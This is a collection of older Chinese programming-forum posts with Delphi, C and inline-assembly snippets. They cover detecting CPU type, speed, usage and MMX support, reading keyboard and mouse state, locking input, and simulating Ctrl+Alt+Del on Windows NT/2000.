mov a[0],ebx

mov a[4],edx

mov a[8],ecx

end;

按F9执行，出现错误提示框：

project project1.exe raised exception class ezccessviolation with message 'accessviolation at address 00404B58 in module 'project1.exe',write of address 7563653f'.

然后由于水平有限，也看不懂CPU中的消息.

--------------------------------------------------------------------------------

来自：Iknow 时间：00-12-28 11:12:33 ID:427051

试试以下代码：

var

a:array[0..15] of byte;

dword save_edi, save_esi, save_esp, save_ebp, save_ebx;

begin

asm

mov save_edi, EDI

mov save_esi, ESI

mov save_esp, ESP

mov save_ebp, EBP

mov save_ebx, EBX

mov eax,0

DW $A20F

lea esi, a

mov edi, 0

// mov a[0],ebx

mov dword ptr [esi+edi], ebx

add edi, 4

// mov a[4],edx

mov dword ptr [esi+edi], edx

add edi, 4

// mov a[8],ecx

mov dword ptr [esi+edi], ecx

mov ebx, save_ebx

mov ebp, save_ebp

mov esp, save_esp

mov esi, save_esi

mov EDI, save_edi

end;

end;


CPU的一些信息
Test8086：测试CPU型号{ Will always be 2 (386 or later) }

Test8087：测试协处理器{ Will always be 3 (387 or later) }

TestFDIV: 测试奔腾芯片是否有缺陷{ -1: 有缺陷, 0: 不能决定, 1: OK }

Q: How do I detect for a co-processor?

Q: How can I tell which CPU is being used?

A: Here is the short version. The problem here is that it doesn't detect the pentium.

var winFlags: LongInt;

begin

winFlags := GetWinFlags;

{ Get math coprocessor status }

If winFlags And WF_80x87 > 0 Then Caption := 'Present'

Else Caption := 'Not Present';

{ Get CPU type }

If winFlags And WF_CPU486 > 0 Then edit1.text := '486' {also pentium}

else If winFlags And WF_CPU386 > 0 Then edit1.text := '386'

else If winFlags And WF_CPU286 > 0 Then edit1.text := '286';

end;

Here is a version that will work with the pentium:

{ This code comes from Intel, and has been modified for Delphi's

inline assembler.

}

unit Cpu;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls, Buttons;

type

{ All the types currently known. As new types are created,

add suitable names, and extend the case statement in

the GetCpuType function.

}

TCPUType = (i8086CPU, i286CPU, i386CPU, i486CPU, iPentiumCPU);

TForm1 = class(TForm)

Edit1: TEdit;

Label1: TLabel;

BitBtn1: TBitBtn;

procedure FormCreate(Sender: TObject);

procedure BitBtn1Click(Sender: TObject);

private

{ Return the type of the current CPU }

function CpuType: TCPUType;

{ Return the type as a string }

function GetCPUType: String;

public

end;

var

Form1: TForm1;

{ Define the winFlags variable for 286 check }

winFlags: Longint;

implementation

{$R *.DFM}

{ Get CPU type }

function TForm1.GetCPUType: String;

var

kind: TCPUType;

begin

if winFlags and WF_CPU286 > 0 then

Result := '80286'

else

begin

kind := CpuType;

case kind of

i8086CPU:

Result := '8086';

i386CPU:

Result := '80386';

i486CPU:

Result := '80486';

iPentiumCPU:

Result := 'Pentium';

else

{ Try to be flexible for future cpu types, e.g., P6. }

Result := Format('P%d', [Ord(kind)]);

end;

end;

end;

{ Assembly function to get CPU type including Pentium and later }

function TForm1.CpuType: TCPUType; assembler;

asm

push DS

{ First check for an 8086 CPU }

{ Bits 12-15 of the FLAGS register are always set on the }

{ 8086 processor. }

pushf { save EFLAGS }

pop bx { store EFLAGS in BX }

mov ax,0fffh { clear bits 12-15 }

and ax,bx { in EFLAGS }

push ax { store new EFLAGS value on stack }

popf { replace current EFLAGS value }

pushf { set new EFLAGS }

pop ax { store new EFLAGS in AX }

and ax,0f000h { if bits 12-15 are set, then CPU }

cmp ax,0f000h { is an 8086/8088 }

mov ax, i8086CPU { turn on 8086/8088 flag }

je @@End_CpuType

{ 80286 CPU check }

{ Bits 12-15 of the FLAGS register are always clear on the }

{ 80286 processor. }

{ Commented out because 'pop ax' crashes it to the DOS prompt when running }

{ with a Delphi form on some Machines.}

{ or bx,0f000h } { try to set bits 12-15 }

{ push bx }

{ popf }

{ pushf }

{ pop ax } { This crashes Delphi programs on some machines }

{ and ax,0f000h } { if bits 12-15 are cleared, CPU=80286 }

{ mov ax, i286CPU } { turn on 80286 flag }

{ jz @@End_CpuType }

{ To test for 386 or better, we need to use 32 bit instructions,

but the 16-bit Delphi assembler does not recognize the 32 bit opcodes

or operands. Instead, use the 66H operand size prefix to change

each instruction to its 32-bit equivalent. For 32-bit immediate

operands, we also need to store the high word of the operand immediately

following the instruction. The 32-bit instruction is shown in a comment

after the 66H instruction.

}

{ i386 CPU check }

{ The AC bit, bit #18, is a new bit introduced in the EFLAGS }

{ register on the i486 DX CPU to generate alignment faults. }

{ This bit can not be set on the i386 CPU. }

db 66h { pushfd }

pushf

db 66h { pop eax }

pop ax { get original EFLAGS }

db 66h { mov ecx, eax }

mov cx,ax { save original EFLAGS }

db 66h { xor eax,40000h }

xor ax,0h { flip AC bit in EFLAGS }

dw 0004h

db 66h { push eax }

push ax { save for EFLAGS }

db 66h { popfd }

popf { copy to EFLAGS }

db 66h { pushfd }

pushf { push EFLAGS }

db 66h { pop eax }

pop ax { get new EFLAGS value }

db 66h { xor eax,ecx }

xor ax,cx { can't toggle AC bit, CPU=Intel386 }

mov ax, i386CPU { turn on 386 flag }

je @@End_CpuType

{ i486 DX CPU / i487 SX MCP and i486 SX CPU checking }

{ Checking for ability to set/clear ID flag (Bit 21) in EFLAGS }

{ which indicates the presence of a processor }

{ with the ability to use the CPUID instruction. }

db 66h { pushfd }

pushf { push original EFLAGS }

db 66h { pop eax }

pop ax { get original EFLAGS in eax }

db 66h { mov ecx, eax }

mov cx,ax { save original EFLAGS in ecx }

db 66h { xor eax,200000h }

xor ax,0h { flip ID bit in EFLAGS }

dw 0020h

db 66h { push eax }

push ax { save for EFLAGS }

db 66h { popfd }

popf { copy to EFLAGS }

db 66h { pushfd }

pushf { push EFLAGS }

db 66h { pop eax }

pop ax { get new EFLAGS value }

db 66h { xor eax, ecx }

xor ax, cx

mov ax, i486CPU { turn on i486 flag }

je @@End_CpuType { if ID bit cannot be changed, CPU=486 }

{ without CPUID instruction functionality }

{ Execute CPUID instruction to determine vendor, family, }

{ model and stepping. The use of the CPUID instruction used }

{ in this program can be used for B0 and later steppings }

{ of the P5 processor. }

db 66h { mov eax, 1 }

mov ax, 1 { set up for CPUID instruction }

dw 0

db 66h { cpuid }

db 0Fh { Hardcoded opcode for CPUID instruction }

db 0a2h

db 66h { and eax, 0F00H }

and ax, 0F00H { mask everything but family }

dw 0

db 66h { shr eax, 8 }

shr ax, 8 { shift the cpu type down to the low byte }

sub ax, 1 { subtract 1 to map to TCpuType }

@@End_CpuType:

pop ds

end;

{ Get the Windows Flags to check for 286. The 286 assembly code

crashes due to a problem when using with Delphi Forms on some machines. This

method is safer.

}

procedure TForm1.FormCreate(Sender: TObject);

begin

winFlags := GetWinFlags;

end;

{ Call the CPU function and assign it to the Edit box }

procedure TForm1.BitBtn1Click(Sender: TObject);

begin

Edit1.Text := GetCPUType;

end;

end.

{This code came from Lloyd's help file!}


CPU速度
function GetCPUSpeed: Double;

const

DelayTime = 500;

var

TimerHi, TimerLo: DWORD;

PriorityClass, Priority: Integer;

begin

try

PriorityClass := GetPriorityClass(GetCurrentProcess);

Priority := GetThreadPriority(GetCurrentThread);

SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);

SetThreadPriority(GetCurrentThread,THREAD_PRIORITY_TIME_CRITICAL);

Sleep(10);

asm

dw 310Fh // rdtsc

mov TimerLo, eax

mov TimerHi, edx

end;

Sleep(DelayTime);

asm

dw 310Fh // rdtsc

sub eax, TimerLo

sbb edx, TimerHi

mov TimerLo, eax

mov TimerHi, edx

end;

SetThreadPriority(GetCurrentThread, Priority);

SetPriorityClass(GetCurrentProcess, PriorityClass);

Result := TimerLo / (1000.0 * DelayTime);

except

Result := 0;

end;

end;

*************

在VC中用以下代码可以测出CPU的主频：

static int time[2]

int cpuclock;

在InitInstance中

SetTimer(hWnd,1,1000,NULL)

在消息处理过程中

case WM_CREATE;

_asm{

rdtsc //一个64bit的时间标记计数器

mov ecx,offset time

mov [ecx+0],edx

mov [ecx+4],eax

}

break;

case WM_TIMER:

_asm

{

rdtsc

mov ebx,offset time

sub eax,[ebx+4]

sbb edx,[ebx+0]

mov ecx,1000000

div ecx

mov cpuclock,eax

}

但不知在DELPHI中如何编程测试？还有CPU的类型等等！

--------------------------------------------------------------------------------

来自：cat.yy 时间：00-12-29 16:17:03 ID:427844

SetTimer(handle,1,1000,NULL);

...

...(var msg: message)...

if msg.message=WM_CREATE then

begin

asm

rdtsc //一个64bit的时间标记计数器

mov ecx,offset time

mov [ecx+0],edx

mov [ecx+4],eax

end;

end;

if msg.message=WM_TIMER then

begin

asm

rdtsc

mov ebx,offset time

sub eax,[ebx+4]

sbb edx,[ebx+0]

mov ecx,1000000

div ecx

mov cpuclock,eax

end;

end;

*************

function TForm1.GetCpuSpeed: Extended;

var

t, mhi, mlo, nhi, nlo: dword;

shr32 : comp;

begin

shr32 := 65536;

shr32 := shr32 * 65536;

t := GetTickCount;

while t = GetTickCount do ;

asm

DB 0FH,031H // rdtsc

mov mhi,edx

mov mlo,eax

end;

while GetTickCount < (t + 1000) do ;

asm

DB 0FH,031H // rdtsc

mov nhi,edx

mov nlo,eax

end;

Result := ((nhi * shr32 + nlo) - (mhi * shr32 + mlo)) / 1E6;

end;


用程序取得CPU信息攻略
用程序取得CPU信息攻略

发信人: hephaestus()

原创作者:Hephaestus(就是我)

很久以来BBS总是求助的人多，贡献的人少，本人特献上拙作，希望对初学者有所

帮助！

转载时请注明作者.

很多软件可以判断所运行的电脑类型而自动做不同的处理。如PhotoShop 5可以探

测CPU是否有MMX支持而调用不同的处理函数，《金山词霸》发现有MMX支持会产生

半透明的翻译提示，很多软件可以区分Intel,Cyrix,AMD的CPU...

现在，且让我细细道来如何让你在自己的程序中取得CPU信息。

主要可利用利用CPUID汇编指令(机器码:0FH A2H,如果你的编译器不支持CPUID指

令，只有emit机器码了)

该指令可以被如下CPU识别

Intel 486以上的CPU,

Cyrix M1以上的CPU,

AMD Am486以上的CPU

(1)取CPU OEM字符串,判断CPU厂商

先让EAX=0，再调用CPUID

Inel的CPU将返回:

EBX:756E6547H 'Genu'

EDX:49656E69H 'ineI'

ECX:6C65746EH 'ntel'

EBX,EDX,ECX将连成“GenuineIntel”,真正的Intel。

Cyrix的CPU将返回:

EBX:43797269H

EDX:78496E73H

ECX:74656164H

“CyrixInstead”，“Cyrix来代替”。

AMD的CPU将返回:

EBX:41757468H

EDX:656E7469H

ECX:63414D44H

“AuthenticAMD"，可信的AMD。

在Windows98中，用右键单击“我的电脑”，选择“属性-常规”在计算机描述处

就可看见CPU OEM字符串。

(2)CPU到底是几86,是否支持MMX

先让EAX=1，再调用CPUID

EAX的 8到11位就表明是几86

3 - 386

4 - i486

5 - Pentium

6 - Pentium Pro Pentium II

2 - Dual Processors

EDX的第0位：有无FPU

EDX的第23位:CPU 是否支持IA MMX,很重要啊！如果你想用那57条新增的指令,先

检查这一位吧，否则就等着看Windows的“该程序执行了非法指令，将被关闭”吧

。

(3)专门检测是否P6架构

先让EAX=1，再调用CPUID

如果AL=1,就是Pentium Pro或Pentium II

(4)专门检测AMD的CPU信息

先让EAX=80000001H，再调用CPUID

如果EAX=51H,是AMD K5

如果EAX=66H,是K6

K7是什么标志，只有等大家拿到K7的芯再说了。

EDX第0位:是否有FPU(多余的！谁用过没FPU的K5,K6?)

EDX第23位，CPU 是否支持MMX,

程序如下:是一个控制台程序,可以给出你的“心”的信息。如果把这个技术用于

DLL中，便可以使VB程序也知道“心”的信息。

//------CPUID Instruction Demo Program------------

#include <conio.h>

#include <iostream.h>

#pragma hdrstop

//------------------------------------------------

#pragma inline

#pragma argsused

int main(int argc, char **argv)

{

char OEMString[13];

int iEAXValue,iEBXValue,iECXValue,iEDXValue;

_asm {

mov eax,0

cpuid

mov DWORD PTR OEMString,ebx

mov DWORD PTR OEMString+4,edx

mov DWORD PTR OEMString+8,ecx

mov BYTE PTR OEMString+12,0

}

cout<<"This CPU 's OEM String is:"<<OEMString<<endl;

_asm {

mov eax,1

cpuid

mov iEAXValue,eax

mov iEBXValue,ebx

mov iECXValue,ecx

mov iEDXValue,edx

}

if(iEDXValue&0x800000)

cout <<"This is MMX CPU"<<endl;

else

cout <<"None MMX Support."<<endl;

int iCPUFamily=(0xf00 & iEAXValue)>>8;

cout <<"CPU Family is:"<<iCPUFamily<<endl;

_asm{

mov eax,2

CPUID

}

if(_AL==1)

cout <<"Pentium Pro or Pentium II Found";

getch();

return 0;

}


PIII的序列号
用CPUID指令，首先你可以确定你用的CPU是Intel的。

然后执行：

MOV EAX,01H

CPUID

如果返回的EDX中，低18位为1，那么这个CPU就是支持序列号的。

此时EAX就是序列号的高32位。这32位对同一型号的CPU是一样的。

再执行：

MOV EAX,03H

CPUID

此时的EDX:ECX就是序列号的第64位。

回复人：westaf(2000-7-28 21:22:00) 得80分

不敢当。

要想关闭这个ID，可执行下列代码：

MOV ECX,119H

RDMSR

OR EAX,00200000H

WRMSR

不过，一旦执行上述代码，cpu将一直不能取id，直到下次reset。


取得CPU的使用率
http://www.swissdelphicenter.ch/torry/showcode.php?id=969

How to get the CPU usage in percent

const

SystemBasicInformation = 0;

SystemPerformanceInformation = 2;

SystemTimeInformation = 3;

type

TPDWord = ^DWORD;

TSystem_Basic_Information = packed record

dwUnknown1: DWORD;

uKeMaximumIncrement: ULONG;

uPageSize: ULONG;

uMmNumberOfPhysicalPages: ULONG;

uMmLowestPhysicalPage: ULONG;

uMmHighestPhysicalPage: ULONG;

uAllocationGranularity: ULONG;

pLowestUserAddress: Pointer;

pMmHighestUserAddress: Pointer;

uKeActiveProcessors: ULONG;

bKeNumberProcessors: byte;

bUnknown2: byte;

wUnknown3: word;

end;

type

TSystem_Performance_Information = packed record

liIdleTime: LARGE_INTEGER; {LARGE_INTEGER}

dwSpare: array[0..75] of DWORD;

end;

type

TSystem_Time_Information = packed record

liKeBootTime: LARGE_INTEGER;

liKeSystemTime: LARGE_INTEGER;

liExpTimeZoneBias: LARGE_INTEGER;

uCurrentTimeZoneId: ULONG;

dwReserved: DWORD;

end;

var

NtQuerySystemInformation: function(infoClass: DWORD;

buffer: Pointer;

bufSize: DWORD;

returnSize: TPDword): DWORD; stdcall = nil;

liOldIdleTime: LARGE_INTEGER = ();

liOldSystemTime: LARGE_INTEGER = ();

function Li2Double(x: LARGE_INTEGER): Double;

begin

Result := x.HighPart * 4.294967296E9 + x.LowPart

end;

procedure GetCPUUsage;

var

SysBaseInfo: TSystem_Basic_Information;

SysPerfInfo: TSystem_Performance_Information;

SysTimeInfo: TSystem_Time_Information;

status: Longint; {long}

dbSystemTime: Double;

dbIdleTime: Double;

bLoopAborted : boolean;

begin

if @NtQuerySystemInformation = nil then

NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'),

'NtQuerySystemInformation');

// get number of processors in the system

status := NtQuerySystemInformation(SystemBasicInformation, @SysBaseInfo, SizeOf(SysBaseInfo), nil);

if status <> 0 then Exit;

// Show some information

with SysBaseInfo do

begin

ShowMessage(

Format('uKeMaximumIncrement: %d'#13'uPageSize: %d'#13+

'uMmNumberOfPhysicalPages: %d'+#13+'uMmLowestPhysicalPage: %d'+#13+

'uMmHighestPhysicalPage: %d'+#13+'uAllocationGranularity: %d'#13+

'uKeActiveProcessors: %d'#13'bKeNumberProcessors: %d',

[uKeMaximumIncrement, uPageSize, uMmNumberOfPhysicalPages,

uMmLowestPhysicalPage, uMmHighestPhysicalPage, uAllocationGranularity,

uKeActiveProcessors, bKeNumberProcessors]));

end;

bLoopAborted := False;

while not bLoopAborted do

begin

// get new system time

status := NtQuerySystemInformation(SystemTimeInformation, @SysTimeInfo, SizeOf(SysTimeInfo), 0);

if status <> 0 then Exit;

// get new CPU's idle time

status := NtQuerySystemInformation(SystemPerformanceInformation, @SysPerfInfo, SizeOf(SysPerfInfo), nil);

if status <> 0 then Exit;

// if it's a first call - skip it

if (liOldIdleTime.QuadPart <> 0) then

begin

// CurrentValue = NewValue - OldValue

dbIdleTime := Li2Double(SysPerfInfo.liIdleTime) - Li2Double(liOldIdleTime);

dbSystemTime := Li2Double(SysTimeInfo.liKeSystemTime) - Li2Double(liOldSystemTime);

// CurrentCpuIdle = IdleTime / SystemTime

dbIdleTime := dbIdleTime / dbSystemTime;

// CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors

dbIdleTime := 100.0 - dbIdleTime * 100.0 / SysBaseInfo.bKeNumberProcessors + 0.5;

// Show Percentage

Form1.Label1.Caption := FormatFloat('CPU Usage: 0.0 %',dbIdleTime);

Application.ProcessMessages;

// Abort if user pressed ESC or Application is terminated

bLoopAborted := (GetKeyState(VK_ESCAPE) and 128 = 128) or Application.Terminated;

end;

// store new CPU's idle and system time

liOldIdleTime := SysPerfInfo.liIdleTime;

liOldSystemTime := SysTimeInfo.liKeSystemTime;

// wait one second

Sleep(1000);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

GetCPUUsage

end;

附件>>>>> AdCpuUsage.zip


CPU是否支持MMX
下面这个函数可以决定CPU是否支持MMX

function SupportsMMX: Boolean;

begin

Result := False;

try

asm

push eax

push ebx

push ecx

push edx

pushfd

pop eax

mov ebx,eax

xor eax,$00200000

push eax

popfd

pushfd

pop eax

xor eax,ebx

je @NoMMX

mov eax,$01

test edx,$800000

jz @NoMMX

mov byte ptr[Result],1

@NoMMX:

pop edx

pop ecx

pop ebx

pop eax

end;

except;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if SupportsMMX then ShowMessage('Computer supports MMX');

end;


CPU的名称
get the CPU name?

// this code will get the cpu identifier from the windows registry

uses

Registry;

function CPUname: string;

var

Reg: TRegistry;

begin

CPUname := '';

Reg := TRegistry.Create;

try

Reg.RootKey := HKEY_LOCAL_MACHINE;

if Reg.OpenKey('\Hardware\Description\System\CentralProcessor\0', False) then

CPUname := Reg.ReadString('Identifier');

finally

Reg.Free;

end;

end;


获取启动之后，CPU经过的脉冲数
取得自从开机到现在CPU运行的周期数，超毫秒级的精度

function Ticker: int64; register;

var

T : int64Rec;

begin

asm

db $0f,$31

mov [T.Lo],EAX

mov [T.Hi],EDX

end;

Result := int64(T);

end;

****************************************

const

D32 = $66;

function RDTSC: comp;

var

TimeStamp : record

case byte of

1: (Whole: comp);

2: (Lo, Hi: LongInt);

end;

begin

asm

db $0F; db $31; {BASM doesn't support RDTSC}

{Pentium RDTSC - Read Time Stamp Counter - instruction}

{$ifdef Cpu386}

mov [TimeStamp.Lo],eax // the low dword

mov [TimeStamp.Hi],edx // the high dword

{$else}

db D32

mov word ptr TimeStamp.Lo,AX

{mov [TimeStamp.Lo],eax - the low dword}

db D32

mov word ptr TimeStamp.Hi,DX

{mov [TimeStamp.Hi],edx - the high dword}

{$endif}

end;

Result := TimeStamp.Whole;

end;

type

CompStr = string[25];

{Comps have up to 18 digits, plus commas, and sign}

function CompToStr(N: comp): CompStr;

var

Low3 : string[3];

N1 : extended;

begin

if N < 0 then

Result := '-' + CompToStr(-N)

else

begin

N1 := N / 1000;

Str(Round(Frac(N1) * 1000), Low3);

N := Int(N1);

if N > 0

then

begin

while Length(Low3) < 3 do

Low3 := '0' + Low3;

Result := CompToStr(N) + ThousandSeparator + Low3;

end

else

Result := Low3

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

//showmessage(inttostr( Ticker));

memo1.Lines.Add(CompToStr(RDTSC));

end;


CPU降温原理
市面上有很多CPU降温软件，原理就是下面的。

回复人： WuHeHai(河海) ( ) 信誉：100 2001-8-5 0:35:56 得分:0

过去在哪个杂志看过：好象是让CPU空闲得时候利用起来，紧忙的时候减慢指令的执行，记得不太清楚了！

不是nop，是Halt指令，CPU空转也要消耗能量的，不过做起来很多的问题要解决，首先好像要有Ring0的特权？原理是知道的，程序是写不出来的。：（

回复人： eDRIVE(动感超人) ( ) 信誉：100 2001-8-6 0:08:26 得分:0

工欲善其事，必先利其器，首先应该明白整个原理和过程：

在Win9X、WinNT/2000中，执行的最小单位是线程。线程的状态有两种：运行、阻塞。处于阻塞态的线程由于条件不满足而无法继续执行，所以在系统的任务调度中就不再分配CPU时间片；如果在一段临界时间里，所有的线程都处于阻塞态，并且没有外部中断，则此时操作系统进入Idle状态；如果此时有线程恢复运行，或是有外部中断，则系统退出Idle状态。由于处于Idle状态的系统没有任何需要执行的线程代码，所以此时要么是在空循环（NOP）等待，要么使CPU暂停（HLT）。当然，空循环（NOP）对于CPU来说还是在执行指令，所以CPU仍旧在全速运行；而暂停（HLT）指令对于CPU来说，会使CPU中的许多部分停止工作，CPU处于一种半睡眠状态，此时的功耗就小得多，当然产生的热量也少很多。当系统退出Idle状态时，CPU会重新恢复工作状态，这个过程非常迅速。

其实在Win2000中已经有这个功能，PID为0的进程便是Idle处理进程，已经拥有了HLT功能，而Win9X没有。但是有一点需要知道：只有在Ring0的状态下执行HLT才会有效，因为CPU会屏蔽所有非特权级的特权指令，当然HLT也是其中之一。


如何知道鼠标按键是否一直按着
procedure TForm1.Timer1Timer(Sender: TObject);

var keystate:TKeyboardState;

begin

caption:='';

GetKeyboardState(keystate);

if keystate[vk_lbutton] and $80 <>0 then

caption:='lbutton down';

if keystate[vk_rbutton] and $80 <>0 then

caption:='Rbutton down';

end;


判断多个按键
detect more than 2 keys being pressed within a form?

Author:Radikal, Q3 Team

{

I would like to detect more than 2 keys being pressed within a form.

For example I would like to know if the user pressed time. The onkeydown seems to only check for one or two keys max but surely

you can determine what keys are currently down.

}

// You can use GetKeyState:

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

begin

If ((GetKeyState(VK_CONTROL) AND 128)=128) and

((GetKeyState(VK_F5) AND 128)=128) and

((GetKeyState(ord('8')) AND 128)=128)

then

ShowMessage('CTRL+F5+8 Pressed');

end;

( Remember: Form1.Keypreview := TRUE )

// Or you can read the entire KeyBoard Status,

// and later check for the three keys:

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

var

KeybState: TKeyboardState;

begin

GetKeyboardState(Teclado);

If ( (KeybState[VK_CONTROL] and 128)=128 ) and

( (KeybState[VK_F5] and 128)=128 ) and

( (KeybState[Ord('8')] and 128)=128 )

then

ShowMessage('CTRL+F5+8 Pressed');

end;


限制鼠标范围
限制鼠标的活动范围：

在Form中放置二个 Button, 然後分别为这两个按钮定义OnClick响应事件如下:

// 开始

procedure TForm1.Button1Click(Sender: TObject);

var

btButton2: TRect;

begin

btButton2 := Button2.BoundsRect;

MapWindowPoints(handle, 0, btButton2, 2); // 座标换算

ClipCursor(@btButton2); // 限制鼠标移动区域

end;

// 还原

procedure TForm1.Button2Click(Sender: TObject);

var

btScreen: TRect;

begin

btScreen := Rect(0, 0, Screen.Width, Screen.Height);

ClipCursor(@btScreen);

end;


如何判断一个按键序列
如何判断用户输入的一个序列是不是指一个指定的序列？例如如何监测用户输入了kingron这个序列？

可以采用下面的方法：

定义一个数组：

var

Buf:array [1..7] of char;

然后在窗体的OnKeyPress中添加如下代码即可：

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);

var

i:integer;

begin

for i:=Low(Buf) to High(buf)-1 do

CharBuf[i]:=Charbuf[i+1];

CharBuf[High(Buf)]:=Key;

if CharBuf='kingron' then ShowMessage('OK!');

end;


判断左右Shift
procedure WMKeyDown(var Message: TWMKEY); message WM_KEYDOWN;

procedure WMKeyUp(var Message: TWMKEY); message WM_KEYUP;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMKeyDown(var Message: TWMKey);

begin

inherited;

//判断按下

if ((message.KeyData) and ($2a shl 16))=($2a shl 16) then

showmessage('Left shift pressed')

else if ((message.KeyData) and ($36 shl 16))=($36 shl 16) then

showmessage('Right shift pressed');

end;

procedure TForm1.WMKeyUp(var Message: TWMKEY);

begin

inherited;

//判断抬起

if ((message.KeyData) and ($2a shl 16)=($2a shl 16)) then

showmessage('Left shift up')

else if ((message.KeyData) and ($36 shl 16))=($36 shl 16) then

showmessage('Right shift Up');

end;


替换一个按键
HotKeyId: Integer;

procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;

procedure TForm1.FormCreate(Sender: TObject);

begin

HotKeyId := GlobalAddAtom('MyHotKey') - $C000;

RegisterHotKey(Handle, hotkeyid, 0, 49);

end;

procedure TForm1.HotKeyDown(var Msg: Tmessage);

begin

if (Msg.LParamHi = 49) then

begin

keybd_event(57, MapVirtualKey( 57, 0 ), 0 , 0 );

keybd_event(57, MapVirtualKey( 57, 0 ), KEYEVENTF_KEYUP , 0 );

end;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

UnRegisterHotKey(handle, HotKeyId);

end;


锁定鼠标和键盘
StarRainBow(星虹)

棗棗棗棗棗?

var KHK: HHook;

tmp: integer;

function HookProc(ICode: integer;WP:WParam;LP:LParam):LResult;

begin

Result:=CallNextHookEx(KHK,0,0,0);

end;

使用下列语句开始锁定：

KHK:=SetWindowsHookex(WH_JOURNALPLAYBACK,@HookProc,HInstance,0);

使用下列语句结束锁定：

UnHookWindowsHookEx(KHK);

这时候不能屏蔽Windows的系统键Ctrl-Alt-Tab,Ctrl-Esc,Alt-Tab等

你就可以使用：

SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @tmp, 0);//锁起来

SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, @tmp, 0);//打开吧

______________________

记住多给点分。

要是不灵的话，就把代码作成DLL。

BTW,以上代码可以同时锁住鼠标和键盘。

***************************

锁键盘

procedure TForm1.Button1Click(Sender: TObject);

begin

Asm //封锁20端口

IN AL,21H

OR AL,02H

OUT 21H,AL

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Asm //解锁20端口

IN AL,21H

AND AL,0FDH

OUT 21H,AL

end;

end;


NT/Win2K下模拟按Ctrl+Alt+Del
好像没有作用？

按照作者的说法，需要做成Service，但是我做了，好像还是没有效果？不知道漏掉了什么地方？我Install Service之后还是不行。：（

回复人：　edguo()　(2002-1-14 23:59:40) 得0分

// 这是我以前写的一段代码，在NT/Win2k下可以工作

// 算你好运。

// 主要的trick是WindowsStation/Desktop和那句PostMessage

const

DEF_ACT_WS: PChar = 'WinSta0'; // current user window station

LOGON_DT: PChar = 'WinLogon'; // winlogon desktop

DEFAULT_DT: PChar = 'Default'; // default desktop

const

FLAG_OPEN_WS =

WINSTA_ENUMDESKTOPS or WINSTA_READATTRIBUTES or

WINSTA_ACCESSCLIPBOARD or WINSTA_CREATEDESKTOP or

WINSTA_WRITEATTRIBUTES or WINSTA_ACCESSGLOBALATOMS or

WINSTA_EXITWINDOWS or WINSTA_ENUMERATE or WINSTA_READSCREEN;

FLAG_OPEN_DT =

DESKTOP_READOBJECTS or DESKTOP_CREATEWINDOW or

DESKTOP_CREATEMENU or DESKTOP_HOOKCONTROL or

DESKTOP_JOURNALRECORD or DESKTOP_JOURNALPLAYBACK or

DESKTOP_ENUMERATE or DESKTOP_WRITEOBJECTS or DESKTOP_SWITCHDESKTOP;

function OpenWSDT (pszWS, pszDT: PChar; var hOldWS: HWINSTA;

var hOldDT: HDESK): Boolean;

var

hNewWS: HWINSTA;

hNewDT: HDESK;

begin

Result := FALSE;

hOldWS := GetProcessWindowStation;

hOldDT := GetThreadDesktop (GetCurrentThreadID);

hNewWS := 0;

if pszWS<>nil then

begin

hNewWS := OpenWindowStation(pszWS,FALSE,FLAG_OPEN_WS);

if hNewWS<>0 then

begin

if not SetProcessWindowStation(hNewWS) then

begin

CloseWindowStation(hNewWS);

Exit;

end;

end else Exit;

end;

if pszDT=nil then

hNewDT := OpenInputDesktop(0,FALSE,FLAG_OPEN_DT) else

hNewDT := OpenDesktop (pszDT,0,FALSE,FLAG_OPEN_DT);

if hNewDT<>0 then

if not SetThreadDesktop (hNewDT) then

begin

CloseDesktop (hNewDT);

end else Result := TRUE;

if not Result then

begin

// Failed, close switched station

if hNewWS<>0 then

begin

if SetProcessWindowStation(hOldWS) then

begin

CloseWindowStation (hNewWS);

end;

end;

end;

end;

procedure SwitchWSDT(hWS: HWINSTA; hDT: HDESK);

var

hCurWS: HWINSTA;

hCurDT: HDESK;

begin

if hWS<>0 then

begin

hCurWS := GetProcessWindowStation;

if hWS<>hCurWS then

if SetProcessWindowStation(hWS) then

begin

CloseWindowStation(hCurWS);

end;

end;

if hDT<>0 then

begin

hCurDT := GetThreadDesktop (GetCurrentThreadID);

if hCurDT<>hDT then

if SetThreadDesktop(hDT) then

begin

CloseDesktop(hCurDT);

end;

end;

end;

procedure SimulateCtrlAltDel (bIsWinNT: Boolean);

var

hOldWS: HWINSTA;

hOldDT: HDESK;

begin

if not OpenWSDT(DEF_ACT_WS,LOGON_DT,hOldWS,hOldDT) then hOldWS := 0;

PostMessage(HWND_BROADCAST,WM_HOTKEY,0,

MAKELONG(MOD_ALT or MOD_CONTROL, VK_DELETE));

if hOldWS<>0 then SwitchWSDT(hOldWS,hOldDT);

end;

// HTH

回复人：　touhu(吐血)　(2002-1-15 13:26:28) 得0分

你的意思是不是要捕捉CTRL+ALT+DEL，不让系统显示出原来的“关闭程序”的窗口，而是显示你自己的窗口？

回复人：　edguo()　(2002-1-15 13:48:34) 得0分

工作在Service模式可以。

我在我们的产品的远程维护一直用着。

代码是对的。

在user模式下我没仔细研究过，抱歉。

我刚才看了一下，是OpenDesktop()失败，估计是权限还是什么原因，没时间研究。

Good luck.

回复人：　edguo()　(2002-1-15 14:01:36) 得0分

我注意到OpenDesktop()属于Service Functions，

如果你使用这段代码，说不好只能写Service，

到目前为止我还没见过不用Service就能这样做的软件

（除了Windows本身，其实我怀疑它是怎么做的）。

HTH.

回复人：　edguo()　(2002-1-15 14:10:36) 得0分

